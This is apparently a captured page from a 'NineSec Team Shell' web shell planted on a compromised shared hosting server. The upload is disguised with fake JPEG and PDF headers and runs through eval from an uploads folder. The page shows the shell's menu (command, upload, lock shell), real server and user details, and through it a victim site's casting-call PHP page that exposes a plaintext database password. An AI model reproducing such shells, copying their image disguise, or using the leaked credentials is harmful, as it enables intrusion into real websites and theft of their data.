JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/casting_call.php
<?php
$host = "localhost";
$user = "u178500310_cg";
$password = "Tanveer@#14321";
$dbname = "u178500310_cg";

// Create connection
$conn = new mysqli($host, $user, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT id, title, LEFT(description, 150) AS short_desc, 
        location, start_date, end_date 
        FROM casting_calls 
        WHERE is_active = 1 
        ORDER BY created_at DESC";
$result = $conn->query($sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-7735548398161482"
     crossorigin="anonymous"></script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Casting Calls | Miss Chhattisgarh</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
    --primary: #D4AF37; /* Gold */
    --secondary: #000000; /* Black */
    --accent: #F4E5C2; /* Light Gold */
    --light: #F8F5F0; /* Soft background light */
    --dark: #1A1A2E; /* Deep dark blue/black */
    --text: #333333; /* Neutral text */
    --shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
    --transition: all 0.3s ease;
}
        
        body {
            font-family: 'Poppins', sans-serif;
            color: var(--text);
            background-color: #f9f9f9;
        }
        .wise{
            padding-top: 100px;
        }
        
        .casting-card {
            border: none;
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.08);
            transition: transform 0.3s, box-shadow 0.3s;
            height: 100%;
            border-left: 3px solid var(--primary);
        }
        
        .casting-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(0,0,0,0.15);
        }
        
        .date-badge {
            background-color: var(--primary);
            color: white;
        }
        
        .section-title {
            font-family: 'Playfair Display', serif;
            text-align: center;
            margin-bottom: 20px;
            position: relative;
            padding-bottom: 15px;
            font-size: 30px;
        }
        
        .section-title:after {
            content: '';
            position: absolute;
            width: 80px;
            height: 3px;
            background: var(--primary);
            bottom: 0;
            left: 50%;
            transform: translateX(-50%);
        }
        
        .section-subtitle {
            text-align: center;
            color: var(--text-light);
            max-width: 700px;
            margin: 0 auto 50px;
        }
        
        footer {
            background: var(--dark);
            color: white;
            padding: 30px 0;
            margin-top: 60px;
        }
        
        .btn-gold {
            background: linear-gradient(45deg, var(--gold), #c9a227);
            border: none;
            color: white;
        }
        
        .btn-gold:hover {
            background: linear-gradient(45deg, #c9a227, var(--gold));
            color: white;
        }
        .post{
            padding: 10px;
            background-color: rgba(201, 185, 98, 1);
            border: 1px solid #D4AF37;
            border-radius: 15px;
        }
    </style>
</head>
<body>
    <?php include './includes/header.php'; ?>

    <main class="container ">
        <div class="text-center wise mb-2">
            <h1 class="section-title">Current Casting Calls</h1>
            <p class="section-subtitle">Find exciting modeling opportunities in the Arab world</p>
        </div>
        <div class="text-center post mb-5">
            <h5>Post Your Casting Calls</h5>
            <a href="/client/login.php" class="btn btn-warning">Post Now</a>
        </div>
        
        <div class="row g-4">
            <?php if ($result->num_rows > 0): ?>
                <?php while($casting = $result->fetch_assoc()): ?>
                    <div class="col-md-6 col-lg-4">
                        <div class="card casting-card">
                            <div class="card-body">
                                <div class="d-flex justify-content-between align-items-start mb-3">
                                    <h2 class="h5 card-title mb-0"><?= htmlspecialchars($casting['title']) ?></h2>
                                    <span class="date-badge text-white text-xs font-medium px-2.5 py-0.5 rounded">
                                        <?= date('M d', strtotime($casting['start_date'])) ?>
                                    </span>
                                </div>
                                <div class="d-flex align-items-center mb-3">
                                    <i class="fas fa-map-marker-alt text-muted me-2"></i>
                                    <small class="text-muted"><?= htmlspecialchars($casting['location']) ?></small>
                                </div>
                                <p class="card-text"><?= htmlspecialchars($casting['short_desc']) ?>...</p>
                            </div>
                            <div class="card-footer bg-white text-center">
                                <a href="./casting/view.php?id=<?= $casting['id'] ?>" 
                                   class="btn btn-sm btn-primari w-100">
                                    <i class="fas fa-eye me-2"></i> View Details
                                </a>
                            </div>
                        </div>
                    </div>
                <?php endwhile; ?>
            <?php else: ?>
                <div class="col-12">
                    <div class="alert alert-info text-center py-4">
                        <i class="fas fa-info-circle fa-2x mb-3"></i>
                        <h4>No casting calls available at this time</h4>
                        <p class="mb-0">Please check back later for new opportunities</p>
                    </div>
                </div>
            <?php endif; ?>
        </div>
        
        <?php if ($result->num_rows > 0): ?>
        <div class="text-center mt-5">
            <a href="/client/create-casting.php" class="btn btn-gold">
                <i class="fas fa-plus me-2"></i> Post a Casting Call
            </a>
        </div>
        <?php endif; ?>
    </main>

    <footer class="footer">
        <div class="container text-center">
            <p class="mb-3">
                <a href="#" class="text-white me-3"><i class="fab fa-facebook-f"></i></a>
                <a href="#" class="text-white me-3"><i class="fab fa-instagram"></i></a>
                <a href="#" class="text-white me-3"><i class="fab fa-twitter"></i></a>
                <a href="#" class="text-white"><i class="fab fa-youtube"></i></a>
            </p>
            <p class="mb-2">&copy; <?= date('Y') ?> Miss Chhattisgarh. All rights reserved.</p>
            
        </div>
    </footer>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        // Highlight current page in navigation
        document.addEventListener('DOMContentLoaded', function() {
            const navLinks = document.querySelectorAll('.navbar-nav .nav-link');
            const currentPage = window.location.pathname.split('/').pop() || 'index.php';
            
            navLinks.forEach(link => {
                const linkPage = link.getAttribute('href').split('/').pop();
                if (currentPage.includes(linkPage)) {
                    link.classList.add('active');
                }
            });
            
            // Add animation to cards
            const cards = document.querySelectorAll('.casting-card');
            cards.forEach((card, index) => {
                card.style.opacity = '0';
                card.style.transform = 'translateY(20px)';
                card.style.transition = 'all 0.5s ease';
                
                setTimeout(() => {
                    card.style.opacity = '1';
                    card.style.transform = 'translateY(0)';
                }, 100 * index);
            });
        });
    </script>
</body>
</html>
<?php $conn->close(); ?>

NineSec Team - 2022